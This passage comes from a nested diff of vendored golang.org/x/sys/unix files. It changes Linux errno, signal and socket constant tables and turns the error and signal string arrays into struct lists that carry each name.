- ESHUTDOWN = syscall.Errno(0x6c)
- ESOCKTNOSUPPORT = syscall.Errno(0x5e)
-- ESPIPE = syscall.Errno(0x1d)
-- ESRCH = syscall.Errno(0x3)
- ESRMNT = syscall.Errno(0x45)
- ESTALE = syscall.Errno(0x74)
- ESTRPIPE = syscall.Errno(0x56)
- ETIME = syscall.Errno(0x3e)
- ETIMEDOUT = syscall.Errno(0x6e)
- ETOOMANYREFS = syscall.Errno(0x6d)
-- ETXTBSY = syscall.Errno(0x1a)
- EUCLEAN = syscall.Errno(0x75)
- EUNATCH = syscall.Errno(0x31)
- EUSERS = syscall.Errno(0x57)
-- EWOULDBLOCK = syscall.Errno(0xb)
-- EXDEV = syscall.Errno(0x12)
- EXFULL = syscall.Errno(0x36)
- )
-
- // Signals
- const (
-- SIGABRT = syscall.Signal(0x6)
-- SIGALRM = syscall.Signal(0xe)
- SIGBUS = syscall.Signal(0x7)
- SIGCHLD = syscall.Signal(0x11)
- SIGCLD = syscall.Signal(0x11)
- SIGCONT = syscall.Signal(0x12)
-- SIGFPE = syscall.Signal(0x8)
-- SIGHUP = syscall.Signal(0x1)
-- SIGILL = syscall.Signal(0x4)
-- SIGINT = syscall.Signal(0x2)
- SIGIO = syscall.Signal(0x1d)
-- SIGIOT = syscall.Signal(0x6)
-- SIGKILL = syscall.Signal(0x9)
-- SIGPIPE = syscall.Signal(0xd)
- SIGPOLL = syscall.Signal(0x1d)
- SIGPROF = syscall.Signal(0x1b)
- SIGPWR = syscall.Signal(0x1e)
-- SIGQUIT = syscall.Signal(0x3)
-- SIGSEGV = syscall.Signal(0xb)
- SIGSTKFLT = syscall.Signal(0x10)
- SIGSTOP = syscall.Signal(0x13)
- SIGSYS = syscall.Signal(0x1f)
-- SIGTERM = syscall.Signal(0xf)
-- SIGTRAP = syscall.Signal(0x5)
- SIGTSTP = syscall.Signal(0x14)
- SIGTTIN = syscall.Signal(0x15)
- SIGTTOU = syscall.Signal(0x16)
-- SIGUNUSED = syscall.Signal(0x1f)
- SIGURG = syscall.Signal(0x17)
- SIGUSR1 = syscall.Signal(0xa)
- SIGUSR2 = syscall.Signal(0xc)
-@@ -2031,171 +606,179 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "no such device or address",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource temporarily unavailable",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device or resource busy",
-- 17: "file exists",
-- 18: "invalid cross-device link",
-- 19: "no such device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "numerical result out of range",
-- 35: "resource deadlock avoided",
-- 36: "file name too long",
-- 37: "no locks available",
-- 38: "function not implemented",
-- 39: "directory not empty",
-- 40: "too many levels of symbolic links",
-- 42: "no message of desired type",
-- 43: "identifier removed",
-- 44: "channel number out of range",
-- 45: "level 2 not synchronized",
-- 46: "level 3 halted",
-- 47: "level 3 reset",
-- 48: "link number out of range",
-- 49: "protocol driver not attached",
-- 50: "no CSI structure available",
-- 51: "level 2 halted",
-- 52: "invalid exchange",
-- 53: "invalid request descriptor",
-- 54: "exchange full",
-- 55: "no anode",
-- 56: "invalid request code",
-- 57: "invalid slot",
-- 59: "bad font file format",
-- 60: "device not a stream",
-- 61: "no data available",
-- 62: "timer expired",
-- 63: "out of streams resources",
-- 64: "machine is not on the network",
-- 65: "package not installed",
-- 66: "object is remote",
-- 67: "link has been severed",
-- 68: "advertise error",
-- 69: "srmount error",
-- 70: "communication error on send",
-- 71: "protocol error",
-- 72: "multihop attempted",
-- 73: "RFS specific error",
-- 74: "bad message",
-- 75: "value too large for defined data type",
-- 76: "name not unique on network",
-- 77: "file descriptor in bad state",
-- 78: "remote address changed",
-- 79: "can not access a needed shared library",
-- 80: "accessing a corrupted shared library",
-- 81: ".lib section in a.out corrupted",
-- 82: "attempting to link in too many shared libraries",
-- 83: "cannot exec a shared library directly",
-- 84: "invalid or incomplete multibyte or wide character",
-- 85: "interrupted system call should be restarted",
-- 86: "streams pipe error",
-- 87: "too many users",
-- 88: "socket operation on non-socket",
-- 89: "destination address required",
-- 90: "message too long",
-- 91: "protocol wrong type for socket",
-- 92: "protocol not available",
-- 93: "protocol not supported",
-- 94: "socket type not supported",
-- 95: "operation not supported",
-- 96: "protocol family not supported",
-- 97: "address family not supported by protocol",
-- 98: "address already in use",
-- 99: "cannot assign requested address",
-- 100: "network is down",
-- 101: "network is unreachable",
-- 102: "network dropped connection on reset",
-- 103: "software caused connection abort",
-- 104: "connection reset by peer",
-- 105: "no buffer space available",
-- 106: "transport endpoint is already connected",
-- 107: "transport endpoint is not connected",
-- 108: "cannot send after transport endpoint shutdown",
-- 109: "too many references: cannot splice",
-- 110: "connection timed out",
-- 111: "connection refused",
-- 112: "host is down",
-- 113: "no route to host",
-- 114: "operation already in progress",
-- 115: "operation now in progress",
-- 116: "stale file handle",
-- 117: "structure needs cleaning",
-- 118: "not a XENIX named type file",
-- 119: "no XENIX semaphores available",
-- 120: "is a named type file",
-- 121: "remote I/O error",
-- 122: "disk quota exceeded",
-- 123: "no medium found",
-- 124: "wrong medium type",
-- 125: "operation canceled",
-- 126: "required key not available",
-- 127: "key has expired",
-- 128: "key has been revoked",
-- 129: "key was rejected by service",
-- 130: "owner died",
-- 131: "state not recoverable",
-- 132: "operation not possible due to RF-kill",
-- 133: "memory page has hardware error",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device or resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "invalid cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "numerical result out of range"},
-+ {35, "EDEADLK", "resource deadlock avoided"},
-+ {36, "ENAMETOOLONG", "file name too long"},
-+ {37, "ENOLCK", "no locks available"},
-+ {38, "ENOSYS", "function not implemented"},
-+ {39, "ENOTEMPTY", "directory not empty"},
-+ {40, "ELOOP", "too many levels of symbolic links"},
-+ {42, "ENOMSG", "no message of desired type"},
-+ {43, "EIDRM", "identifier removed"},
-+ {44, "ECHRNG", "channel number out of range"},
-+ {45, "EL2NSYNC", "level 2 not synchronized"},
-+ {46, "EL3HLT", "level 3 halted"},
-+ {47, "EL3RST", "level 3 reset"},
-+ {48, "ELNRNG", "link number out of range"},
-+ {49, "EUNATCH", "protocol driver not attached"},
-+ {50, "ENOCSI", "no CSI structure available"},
-+ {51, "EL2HLT", "level 2 halted"},
-+ {52, "EBADE", "invalid exchange"},
-+ {53, "EBADR", "invalid request descriptor"},
-+ {54, "EXFULL", "exchange full"},
-+ {55, "ENOANO", "no anode"},
-+ {56, "EBADRQC", "invalid request code"},
-+ {57, "EBADSLT", "invalid slot"},
-+ {59, "EBFONT", "bad font file format"},
-+ {60, "ENOSTR", "device not a stream"},
-+ {61, "ENODATA", "no data available"},
-+ {62, "ETIME", "timer expired"},
-+ {63, "ENOSR", "out of streams resources"},
-+ {64, "ENONET", "machine is not on the network"},
-+ {65, "ENOPKG", "package not installed"},
-+ {66, "EREMOTE", "object is remote"},
-+ {67, "ENOLINK", "link has been severed"},
-+ {68, "EADV", "advertise error"},
-+ {69, "ESRMNT", "srmount error"},
-+ {70, "ECOMM", "communication error on send"},
-+ {71, "EPROTO", "protocol error"},
-+ {72, "EMULTIHOP", "multihop attempted"},
-+ {73, "EDOTDOT", "RFS specific error"},
-+ {74, "EBADMSG", "bad message"},
-+ {75, "EOVERFLOW", "value too large for defined data type"},
-+ {76, "ENOTUNIQ", "name not unique on network"},
-+ {77, "EBADFD", "file descriptor in bad state"},
-+ {78, "EREMCHG", "remote address changed"},
-+ {79, "ELIBACC", "can not access a needed shared library"},
-+ {80, "ELIBBAD", "accessing a corrupted shared library"},
-+ {81, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {82, "ELIBMAX", "attempting to link in too many shared libraries"},
-+ {83, "ELIBEXEC", "cannot exec a shared library directly"},
-+ {84, "EILSEQ", "invalid or incomplete multibyte or wide character"},
-+ {85, "ERESTART", "interrupted system call should be restarted"},
-+ {86, "ESTRPIPE", "streams pipe error"},
-+ {87, "EUSERS", "too many users"},
-+ {88, "ENOTSOCK", "socket operation on non-socket"},
-+ {89, "EDESTADDRREQ", "destination address required"},
-+ {90, "EMSGSIZE", "message too long"},
-+ {91, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {92, "ENOPROTOOPT", "protocol not available"},
-+ {93, "EPROTONOSUPPORT", "protocol not supported"},
-+ {94, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {95, "ENOTSUP", "operation not supported"},
-+ {96, "EPFNOSUPPORT", "protocol family not supported"},
-+ {97, "EAFNOSUPPORT", "address family not supported by protocol"},
-+ {98, "EADDRINUSE", "address already in use"},
-+ {99, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {100, "ENETDOWN", "network is down"},
-+ {101, "ENETUNREACH", "network is unreachable"},
-+ {102, "ENETRESET", "network dropped connection on reset"},
-+ {103, "ECONNABORTED", "software caused connection abort"},
-+ {104, "ECONNRESET", "connection reset by peer"},
-+ {105, "ENOBUFS", "no buffer space available"},
-+ {106, "EISCONN", "transport endpoint is already connected"},
-+ {107, "ENOTCONN", "transport endpoint is not connected"},
-+ {108, "ESHUTDOWN", "cannot send after transport endpoint shutdown"},
-+ {109, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {110, "ETIMEDOUT", "connection timed out"},
-+ {111, "ECONNREFUSED", "connection refused"},
-+ {112, "EHOSTDOWN", "host is down"},
-+ {113, "EHOSTUNREACH", "no route to host"},
-+ {114, "EALREADY", "operation already in progress"},
-+ {115, "EINPROGRESS", "operation now in progress"},
-+ {116, "ESTALE", "stale file handle"},
-+ {117, "EUCLEAN", "structure needs cleaning"},
-+ {118, "ENOTNAM", "not a XENIX named type file"},
-+ {119, "ENAVAIL", "no XENIX semaphores available"},
-+ {120, "EISNAM", "is a named type file"},
-+ {121, "EREMOTEIO", "remote I/O error"},
-+ {122, "EDQUOT", "disk quota exceeded"},
-+ {123, "ENOMEDIUM", "no medium found"},
-+ {124, "EMEDIUMTYPE", "wrong medium type"},
-+ {125, "ECANCELED", "operation canceled"},
-+ {126, "ENOKEY", "required key not available"},
-+ {127, "EKEYEXPIRED", "key has expired"},
-+ {128, "EKEYREVOKED", "key has been revoked"},
-+ {129, "EKEYREJECTED", "key was rejected by service"},
-+ {130, "EOWNERDEAD", "owner died"},
-+ {131, "ENOTRECOVERABLE", "state not recoverable"},
-+ {132, "ERFKILL", "operation not possible due to RF-kill"},
-+ {133, "EHWPOISON", "memory page has hardware error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/breakpoint trap",
-- 6: "aborted",
-- 7: "bus error",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "user defined signal 1",
-- 11: "segmentation fault",
-- 12: "user defined signal 2",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "stack fault",
-- 17: "child exited",
-- 18: "continued",
-- 19: "stopped (signal)",
-- 20: "stopped",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "urgent I/O condition",
-- 24: "CPU time limit exceeded",
-- 25: "file size limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window changed",
-- 29: "I/O possible",
-- 30: "power failure",
-- 31: "bad system call",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/breakpoint trap"},
-+ {6, "SIGABRT", "aborted"},
-+ {7, "SIGBUS", "bus error"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGUSR1", "user defined signal 1"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGUSR2", "user defined signal 2"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGSTKFLT", "stack fault"},
-+ {17, "SIGCHLD", "child exited"},
-+ {18, "SIGCONT", "continued"},
-+ {19, "SIGSTOP", "stopped (signal)"},
-+ {20, "SIGTSTP", "stopped"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGURG", "urgent I/O condition"},
-+ {24, "SIGXCPU", "CPU time limit exceeded"},
-+ {25, "SIGXFSZ", "file size limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window changed"},
-+ {29, "SIGIO", "I/O possible"},
-+ {30, "SIGPWR", "power failure"},
-+ {31, "SIGSYS", "bad system call"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_arm.go b/vendor/golang.org/x/sys/unix/zerrors_linux_arm.go
-index 1adff0b2..0541f36e 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_linux_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux_arm.go
-@@ -3,7 +3,7 @@
-
- // +build arm,linux
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go
-
- package unix
-@@ -11,1873 +11,493 @@ package unix
- import "syscall"
-
- const (
-- AF_ALG = 0x26
-- AF_APPLETALK = 0x5
-- AF_ASH = 0x12
-- AF_ATMPVC = 0x8
-- AF_ATMSVC = 0x14
-- AF_AX25 = 0x3
-- AF_BLUETOOTH = 0x1f
-- AF_BRIDGE = 0x7
-- AF_CAIF = 0x25
-- AF_CAN = 0x1d
-- AF_DECnet = 0xc
-- AF_ECONET = 0x13
-- AF_FILE = 0x1
-- AF_IB = 0x1b
-- AF_IEEE802154 = 0x24
-- AF_INET = 0x2
-- AF_INET6 = 0xa
-- AF_IPX = 0x4
-- AF_IRDA = 0x17
-- AF_ISDN = 0x22
-- AF_IUCV = 0x20
-- AF_KCM = 0x29
-- AF_KEY = 0xf
-- AF_LLC = 0x1a
-- AF_LOCAL = 0x1
-- AF_MAX = 0x2b
-- AF_MPLS = 0x1c
-- AF_NETBEUI = 0xd
-- AF_NETLINK = 0x10
-- AF_NETROM = 0x6
-- AF_NFC = 0x27
-- AF_PACKET = 0x11
-- AF_PHONET = 0x23
-- AF_PPPOX = 0x18
-- AF_QIPCRTR = 0x2a
-- AF_RDS = 0x15
-- AF_ROSE = 0xb
-- AF_ROUTE = 0x10
-- AF_RXRPC = 0x21
-- AF_SECURITY = 0xe
-- AF_SNA = 0x16
-- AF_TIPC = 0x1e
-- AF_UNIX = 0x1
-- AF_UNSPEC = 0x0
-- AF_VSOCK = 0x28
-- AF_WANPIPE = 0x19
-- AF_X25 = 0x9
-- ALG_OP_DECRYPT = 0x0
-- ALG_OP_ENCRYPT = 0x1
-- ALG_SET_AEAD_ASSOCLEN = 0x4
-- ALG_SET_AEAD_AUTHSIZE = 0x5
-- ALG_SET_IV = 0x2
-- ALG_SET_KEY = 0x1
-- ALG_SET_OP = 0x3
-- ARPHRD_6LOWPAN = 0x339
-- ARPHRD_ADAPT = 0x108
-- ARPHRD_APPLETLK = 0x8
-- ARPHRD_ARCNET = 0x7
-- ARPHRD_ASH = 0x30d
-- ARPHRD_ATM = 0x13
-- ARPHRD_AX25 = 0x3
-- ARPHRD_BIF = 0x307
-- ARPHRD_CAIF = 0x336
-- ARPHRD_CAN = 0x118
-- ARPHRD_CHAOS = 0x5
-- ARPHRD_CISCO = 0x201
-- ARPHRD_CSLIP = 0x101
-- ARPHRD_CSLIP6 = 0x103
-- ARPHRD_DDCMP = 0x205
-- ARPHRD_DLCI = 0xf
-- ARPHRD_ECONET = 0x30e
-- ARPHRD_EETHER = 0x2
-- ARPHRD_ETHER = 0x1
-- ARPHRD_EUI64 = 0x1b
-- ARPHRD_FCAL = 0x311
-- ARPHRD_FCFABRIC = 0x313
-- ARPHRD_FCPL = 0x312
-- ARPHRD_FCPP = 0x310
-- ARPHRD_FDDI = 0x306
-- ARPHRD_FRAD = 0x302
-- ARPHRD_HDLC = 0x201
-- ARPHRD_HIPPI = 0x30c
-- ARPHRD_HWX25 = 0x110
-- ARPHRD_IEEE1394 = 0x18
-- ARPHRD_IEEE802 = 0x6
-- ARPHRD_IEEE80211 = 0x321
-- ARPHRD_IEEE80211_PRISM = 0x322
-- ARPHRD_IEEE80211_RADIOTAP = 0x323
-- ARPHRD_IEEE802154 = 0x324
-- ARPHRD_IEEE802154_MONITOR = 0x325
-- ARPHRD_IEEE802_TR = 0x320
-- ARPHRD_INFINIBAND = 0x20
-- ARPHRD_IP6GRE = 0x337
-- ARPHRD_IPDDP = 0x309
-- ARPHRD_IPGRE = 0x30a
-- ARPHRD_IRDA = 0x30f
-- ARPHRD_LAPB = 0x204
-- ARPHRD_LOCALTLK = 0x305
-- ARPHRD_LOOPBACK = 0x304
-- ARPHRD_METRICOM = 0x17
-- ARPHRD_NETLINK = 0x338
-- ARPHRD_NETROM = 0x0
-- ARPHRD_NONE = 0xfffe
-- ARPHRD_PHONET = 0x334
-- ARPHRD_PHONET_PIPE = 0x335
-- ARPHRD_PIMREG = 0x30b
-- ARPHRD_PPP = 0x200
-- ARPHRD_PRONET = 0x4
-- ARPHRD_RAWHDLC = 0x206
-- ARPHRD_ROSE = 0x10e
-- ARPHRD_RSRVD = 0x104
-- ARPHRD_SIT = 0x308
-- ARPHRD_SKIP = 0x303
-- ARPHRD_SLIP = 0x100
-- ARPHRD_SLIP6 = 0x102
-- ARPHRD_TUNNEL = 0x300
-- ARPHRD_TUNNEL6 = 0x301
-- ARPHRD_VOID = 0xffff
-- ARPHRD_X25 = 0x10f
-- B0 = 0x0
-- B1000000 = 0x1008
-- B110 = 0x3
-- B115200 = 0x1002
-- B1152000 = 0x1009
-- B1200 = 0x9
-- B134 = 0x4
-- B150 = 0x5
-- B1500000 = 0x100a
-- B1800 = 0xa
-- B19200 = 0xe
-- B200 = 0x6
-- B2000000 = 0x100b
-- B230400 = 0x1003
-- B2400 = 0xb
-- B2500000 = 0x100c
-- B300 = 0x7
-- B3000000 = 0x100d
-- B3500000 = 0x100e
-- B38400 = 0xf
-- B4000000 = 0x100f
-- B460800 = 0x1004
-- B4800 = 0xc
-- B50 = 0x1
-- B500000 = 0x1005
-- B57600 = 0x1001
-- B576000 = 0x1006
-- B600 = 0x8
-- B75 = 0x2
-- B921600 = 0x1007
-- B9600 = 0xd
-- BLKBSZGET = 0x80041270
-- BLKBSZSET = 0x40041271
-- BLKFLSBUF = 0x1261
-- BLKFRAGET = 0x1265
-- BLKFRASET = 0x1264
-- BLKGETSIZE = 0x1260
-- BLKGETSIZE64 = 0x80041272
-- BLKPBSZGET = 0x127b
-- BLKRAGET = 0x1263
-- BLKRASET = 0x1262
-- BLKROGET = 0x125e
-- BLKROSET = 0x125d
-- BLKRRPART = 0x125f
-- BLKSECTGET = 0x1267
-- BLKSECTSET = 0x1266
-- BLKSSZGET = 0x1268
-- BOTHER = 0x1000
-- BPF_A = 0x10
-- BPF_ABS = 0x20
-- BPF_ADD = 0x0
-- BPF_ALU = 0x4
-- BPF_AND = 0x50
-- BPF_B = 0x10
-- BPF_DIV = 0x30
-- BPF_H = 0x8
-- BPF_IMM = 0x0
-- BPF_IND = 0x40
-- BPF_JA = 0x0
-- BPF_JEQ = 0x10
-- BPF_JGE = 0x30
-- BPF_JGT = 0x20
-- BPF_JMP = 0x5
-- BPF_JSET = 0x40
-- BPF_K = 0x0
-- BPF_LD = 0x0
-- BPF_LDX = 0x1
-- BPF_LEN = 0x80
-- BPF_LL_OFF = -0x200000
-- BPF_LSH = 0x60
-- BPF_MAJOR_VERSION = 0x1
-- BPF_MAXINSNS = 0x1000
-- BPF_MEM = 0x60
-- BPF_MEMWORDS = 0x10
-- BPF_MINOR_VERSION = 0x1
-- BPF_MISC = 0x7
-- BPF_MOD = 0x90
-- BPF_MSH = 0xa0
-- BPF_MUL = 0x20
-- BPF_NEG = 0x80
-- BPF_NET_OFF = -0x100000
-- BPF_OR = 0x40
-- BPF_RET = 0x6
-- BPF_RSH = 0x70
-- BPF_ST = 0x2
-- BPF_STX = 0x3
-- BPF_SUB = 0x10
-- BPF_TAX = 0x0
-- BPF_TXA = 0x80
-- BPF_W = 0x0
-- BPF_X = 0x8
-- BPF_XOR = 0xa0
-- BRKINT = 0x2
-- BS0 = 0x0
-- BS1 = 0x2000
-- BSDLY = 0x2000
-- CAN_BCM = 0x2
-- CAN_EFF_FLAG = 0x80000000
-- CAN_EFF_ID_BITS = 0x1d
-- CAN_EFF_MASK = 0x1fffffff
-- CAN_ERR_FLAG = 0x20000000
-- CAN_ERR_MASK = 0x1fffffff
-- CAN_INV_FILTER = 0x20000000
-- CAN_ISOTP = 0x6
-- CAN_MAX_DLC = 0x8
-- CAN_MAX_DLEN = 0x8
-- CAN_MCNET = 0x5
-- CAN_MTU = 0x10
-- CAN_NPROTO = 0x7
-- CAN_RAW = 0x1
-- CAN_RAW_FILTER_MAX = 0x200
-- CAN_RTR_FLAG = 0x40000000
-- CAN_SFF_ID_BITS = 0xb
-- CAN_SFF_MASK = 0x7ff
-- CAN_TP16 = 0x3
-- CAN_TP20 = 0x4
-- CBAUD = 0x100f
-- CBAUDEX = 0x1000
-- CFLUSH = 0xf
-- CIBAUD = 0x100f0000
-- CLOCAL = 0x800
-- CLOCK_BOOTTIME = 0x7
-- CLOCK_BOOTTIME_ALARM = 0x9
-- CLOCK_DEFAULT = 0x0
-- CLOCK_EXT = 0x1
-- CLOCK_INT = 0x2
-- CLOCK_MONOTONIC = 0x1
-- CLOCK_MONOTONIC_COARSE = 0x6
-- CLOCK_MONOTONIC_RAW = 0x4
-- CLOCK_PROCESS_CPUTIME_ID = 0x2
-- CLOCK_REALTIME = 0x0
-- CLOCK_REALTIME_ALARM = 0x8
-- CLOCK_REALTIME_COARSE = 0x5
-- CLOCK_TAI = 0xb
-- CLOCK_THREAD_CPUTIME_ID = 0x3
-- CLOCK_TXFROMRX = 0x4
-- CLOCK_TXINT = 0x3
-- CLONE_CHILD_CLEARTID = 0x200000
-- CLONE_CHILD_SETTID = 0x1000000
-- CLONE_DETACHED = 0x400000
-- CLONE_FILES = 0x400
-- CLONE_FS = 0x200
-- CLONE_IO = 0x80000000
-- CLONE_NEWCGROUP = 0x2000000
-- CLONE_NEWIPC = 0x8000000
-- CLONE_NEWNET = 0x40000000
-- CLONE_NEWNS = 0x20000
-- CLONE_NEWPID = 0x20000000
-- CLONE_NEWUSER = 0x10000000
-- CLONE_NEWUTS = 0x4000000
-- CLONE_PARENT = 0x8000
-- CLONE_PARENT_SETTID = 0x100000
-- CLONE_PTRACE = 0x2000
-- CLONE_SETTLS = 0x80000
-- CLONE_SIGHAND = 0x800
-- CLONE_SYSVSEM = 0x40000
-- CLONE_THREAD = 0x10000
-- CLONE_UNTRACED = 0x800000
-- CLONE_VFORK = 0x4000
-- CLONE_VM = 0x100
-- CMSPAR = 0x40000000
-- CR0 = 0x0
-- CR1 = 0x200
-- CR2 = 0x400
-- CR3 = 0x600
-- CRDLY = 0x600
-- CREAD = 0x80
-- CRTSCTS = 0x80000000
-- CS5 = 0x0
-- CS6 = 0x10
-- CS7 = 0x20
-- CS8 = 0x30
-- CSIGNAL = 0xff
-- CSIZE = 0x30
-- CSTART = 0x11
-- CSTATUS = 0x0
-- CSTOP = 0x13
-- CSTOPB = 0x40
-- CSUSP = 0x1a
-- DT_BLK = 0x6
-- DT_CHR = 0x2
-- DT_DIR = 0x4
-- DT_FIFO = 0x1
-- DT_LNK = 0xa
-- DT_REG = 0x8
-- DT_SOCK = 0xc
-- DT_UNKNOWN = 0x0
-- DT_WHT = 0xe
-- ECHO = 0x8
-- ECHOCTL = 0x200
-- ECHOE = 0x10
-- ECHOK = 0x20
-- ECHOKE = 0x800
-- ECHONL = 0x40
-- ECHOPRT = 0x400
-- EFD_CLOEXEC = 0x80000
-- EFD_NONBLOCK = 0x800
-- EFD_SEMAPHORE = 0x1
-- ENCODING_DEFAULT = 0x0
-- ENCODING_FM_MARK = 0x3
-- ENCODING_FM_SPACE = 0x4
-- ENCODING_MANCHESTER = 0x5
-- ENCODING_NRZ = 0x1
-- ENCODING_NRZI = 0x2
-- EPOLLERR = 0x8
-- EPOLLET = 0x80000000
-- EPOLLEXCLUSIVE = 0x10000000
-- EPOLLHUP = 0x10
-- EPOLLIN = 0x1
-- EPOLLMSG = 0x400
-- EPOLLONESHOT = 0x40000000
-- EPOLLOUT = 0x4
-- EPOLLPRI = 0x2
-- EPOLLRDBAND = 0x80
-- EPOLLRDHUP = 0x2000
-- EPOLLRDNORM = 0x40
-- EPOLLWAKEUP = 0x20000000
-- EPOLLWRBAND = 0x200
-- EPOLLWRNORM = 0x100
-- EPOLL_CLOEXEC = 0x80000
-- EPOLL_CTL_ADD = 0x1
-- EPOLL_CTL_DEL = 0x2
-- EPOLL_CTL_MOD = 0x3
-- ETH_P_1588 = 0x88f7
-- ETH_P_8021AD = 0x88a8
-- ETH_P_8021AH = 0x88e7
-- ETH_P_8021Q = 0x8100
-- ETH_P_80221 = 0x8917
-- ETH_P_802_2 = 0x4
-- ETH_P_802_3 = 0x1
-- ETH_P_802_3_MIN = 0x600
-- ETH_P_802_EX1 = 0x88b5
-- ETH_P_AARP = 0x80f3
-- ETH_P_AF_IUCV = 0xfbfb
-- ETH_P_ALL = 0x3
-- ETH_P_AOE = 0x88a2
-- ETH_P_ARCNET = 0x1a
-- ETH_P_ARP = 0x806
-- ETH_P_ATALK = 0x809b
-- ETH_P_ATMFATE = 0x8884
-- ETH_P_ATMMPOA = 0x884c
-- ETH_P_AX25 = 0x2
-- ETH_P_BATMAN = 0x4305
-- ETH_P_BPQ = 0x8ff
-- ETH_P_CAIF = 0xf7
-- ETH_P_CAN = 0xc
-- ETH_P_CANFD = 0xd
-- ETH_P_CONTROL = 0x16
-- ETH_P_CUST = 0x6006
-- ETH_P_DDCMP = 0x6
-- ETH_P_DEC = 0x6000
-- ETH_P_DIAG = 0x6005
-- ETH_P_DNA_DL = 0x6001
-- ETH_P_DNA_RC = 0x6002
-- ETH_P_DNA_RT = 0x6003
-- ETH_P_DSA = 0x1b
-- ETH_P_ECONET = 0x18
-- ETH_P_EDSA = 0xdada
-- ETH_P_FCOE = 0x8906
-- ETH_P_FIP = 0x8914
-- ETH_P_HDLC = 0x19
-- ETH_P_HSR = 0x892f
-- ETH_P_IEEE802154 = 0xf6
-- ETH_P_IEEEPUP = 0xa00
-- ETH_P_IEEEPUPAT = 0xa01
-- ETH_P_IP = 0x800
-- ETH_P_IPV6 = 0x86dd
-- ETH_P_IPX = 0x8137
-- ETH_P_IRDA = 0x17
-- ETH_P_LAT = 0x6004
-- ETH_P_LINK_CTL = 0x886c
-- ETH_P_LOCALTALK = 0x9
-- ETH_P_LOOP = 0x60
-- ETH_P_LOOPBACK = 0x9000
-- ETH_P_MACSEC = 0x88e5
-- ETH_P_MOBITEX = 0x15
-- ETH_P_MPLS_MC = 0x8848
-- ETH_P_MPLS_UC = 0x8847
-- ETH_P_MVRP = 0x88f5
-- ETH_P_NCSI = 0x88f8
-- ETH_P_PAE = 0x888e
-- ETH_P_PAUSE = 0x8808
-- ETH_P_PHONET = 0xf5
-- ETH_P_PPPTALK = 0x10
-- ETH_P_PPP_DISC = 0x8863
-- ETH_P_PPP_MP = 0x8
-- ETH_P_PPP_SES = 0x8864
-- ETH_P_PRP = 0x88fb
-- ETH_P_PUP = 0x200
-- ETH_P_PUPAT = 0x201
